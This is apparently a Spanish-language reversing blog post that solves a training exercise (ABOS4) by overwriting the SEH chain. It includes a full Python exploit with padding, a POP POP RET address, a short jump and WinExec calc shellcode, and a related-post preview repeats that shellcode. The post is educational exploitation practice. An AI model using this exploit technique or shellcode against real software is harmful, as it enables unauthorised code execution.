Ir al contenido principal

Iniciación a la técnica de ROP

Resolucion 2 ABOS4 SEH

Buenas de nuevo,

Esta entrada es la continuación de la resolución del ABOS4, visto en la entrada anterior. En este caso, lo haremos machacando la cadena SEH.

Como tenemos una idea de como estaba compuesto el binario anterior, aquí nos vamos a centrar en la construcción del exploit.

Sabemos que debido a la característica del SEH en x86, cuando se produce una excepción se lanza el manejador de excepciones, y este está compuesto por 2 campos:

  • Dirección del siguiente SEH
  • Dirección que se encarga de gestionar la excepción.


Primer paso que debemos hacer, es provocar una excepción en el primer gets() para ello vamos a generar una cadena "pseudoaleatoria" de un tamaño enorme hasta provocar la excepción.
Con x32Dbg vamos a ver la dirección que hemos machacado en el SEH chain y así sacaremos el tamaño de relleno que tenemos que introducir para machacar el controlador de excepciones:

Para construir el exploit usaremos python, ya que es mas sencillo su uso:

random_string = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 3000)) #Generamos cadena gigante pseudoaleatoria, para sobrescribir la dirección que gestiona el SEH.

Miramos con x32Dbg la dirección que se ha machacado y vemos que hay una distacia de 316 bytes entre la posición de la variable var_a_machacar que pasamos como parámetro al gets() y el next_seh.

Por lo tanto ya sabemos que hasta machacar el SEH tenemos que introducir por el gets() 316 valores.

payload = 316 * b'A' + Dir_nextSEH+ Dir_SEHhandle ....

Por las características de SEH en x86, hemos visto que la cuando entramos en el código de gestión de la excepción, la dirección del próximo SEH se encuentra 3 posiciones mas abajo en la pila. Por lo que si tenemos en nuestro ejecutable las instrucciones POP X + POP X + RET --> podremos saltar a ejecutar la dirección indicada en Dir_nextSEH.



Localizamos en la dirección 0x00401F2D, la secuencia de las instrucciones pop, pop y ret. por lo tanto, esa sera la dirección que pondremos en Dir_SEHhandle y esto hará que ejecutemos lo que pongamos en la dirección Dir_nextSEH que en nuestro caso sera:

0x90 --> NOP
0x90 --> NOP
0xEB06 --> Salto a los 6 bytes mas abajo, para saltar los 2 bytes de 0xeb06 y los 4 bytes de Dir_SEHhandle (0x00401F2D) y empezara así a ejecutar la shellcode que pongamos a continuación que esta detallada en una de las entradas anteriores del blog.



Por lo tanto nuestro exploit quedaría de la siguiente manera escrito en python:

from subprocess import Popen, PIPE
import struct
import random
import string


#Creamos el PAYLOAD

payload = 316 * b'A'  #--> Relleno inicial para llegar a la direccion del SEH
payload += b'\xeb\x06\x90\x90' # --> Dirección del proximo SEH
payload += struct.pack ('<I', 0x00401F2D) # --> Dirección donde encontramos el POP POP RET
winexec_calc_shellcode =b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'
aniadimos_exit = b'\x68\x33\x12\x40\x00\xC3' #--> PUSH 0x00401233 + RET (exit())
payload += winexec_calc_shellcode
payload += aniadimos_exit
payload += b'A' * 3000 --> Provocamos la excepción.

#Lanzamos el payload creado:

p1 = Popen(r"C:\Users\juan\Desktop\Curso_Reversing_freeTools\ejercicios\Ejercicios\ABOS\ABO4_VS_2017.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()




Un saludo



Comentarios

Entradas populares de este blog

Hack the Box Eat the cake!

Buenas de nuevo, retomo esto en un "ratillo" que he sacado para ir dándole un poco de contenido al blog. Hoy nos ponemos con el resto Eat the cake! de HTB , ya que el otro día me calenté e hice un par de retos para ver lo oxidado que estaba... La verdad que bastante! 😑 El fichero os lo podéis bajar directamente de la página, cuyo SHA256: bd2efc7a1b23885d88d401b2a1fa1d4b307f6efcd76ee0a7d9486f0a8b06e586 Bueno vemos a ponernos manos a las obra, es un ejecutable por lo tanto nos iremos a nuestra máquina Windows que tenemos preparada para este tipo de retos, y abrimos el archivo con el software PEiD para ver si esta empaquetado/ofuscado, pero vamos que ya os digo que sí.                                       Vemos que PEiD nos dice que esta empaquetada con UPX 0.89.6 -1.02 / 1.05 - 2.90 --> Markus & Laszlo . Intentamos desempaquetar la muestra, usando UPX directamente con " upx -d" y tras desempaquetarlo, comprobamos si se  ha hecho de manera correc

Iniciación a la técnica de ROP

Buenas a todos, En esta entrada vamos a resolver el binario propuesto por el maestro con la protección DEP: Que previene de ejecutar el código que introducimos en el stack si se encuentra activada esta protección del binario. Para ver si un binario tiene la protección DEP (Data execution prevention) activa, p odemos mirarlo con la herramienta ProcessExplorer tal y como vamos a ver en el siguiente ejemplo activando la columna DEP del mismo para poder comprobar si el proceso tiene o no el DEP habilitado:                                 Vemos que al ser un sistema operativo de x64, todos nuestros procesos tiene el DEP habilitado por defecto, y hemos de comprobar también si tiene alguna otra protección nuestro binario como el ASLR(Address Space Layout Randomization), encargado de aleatorizar las direcciones de la memoria virtual cuando nuestro binario es cargado en memoria virtual. Vamos a ver todos los módulos que componen el binario (Programa + librerias(dlls)) para ver si algún

WinDBG- Diseño de ShellCodes

Buenas a  todos, En este pequeño tutorial, voy a intentar explicar y mostrar con ejemplos como crear shellcode tanto en binarios de x86, y posteriormente crearé una entrada para ejemplos en binarios en x64. Este tutorial esta basado en la parte 6 de los tutoriales  de Ricardo Narvaja de uso de herramientas de exploiting gratuitas y el tutorial de desarrollo de malware de ZeroPad, así que si os gusta las gracias a ellos. Partimos de una shellcode que vamos a detallar, para explicar como funciona, y los componentes de la misma. Para ello hemos creado un binario donde se ejecuta únicamente esta shellcode para que nos sea mas fácil a la hora de analizarla. winexec_calc_shellcode =b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'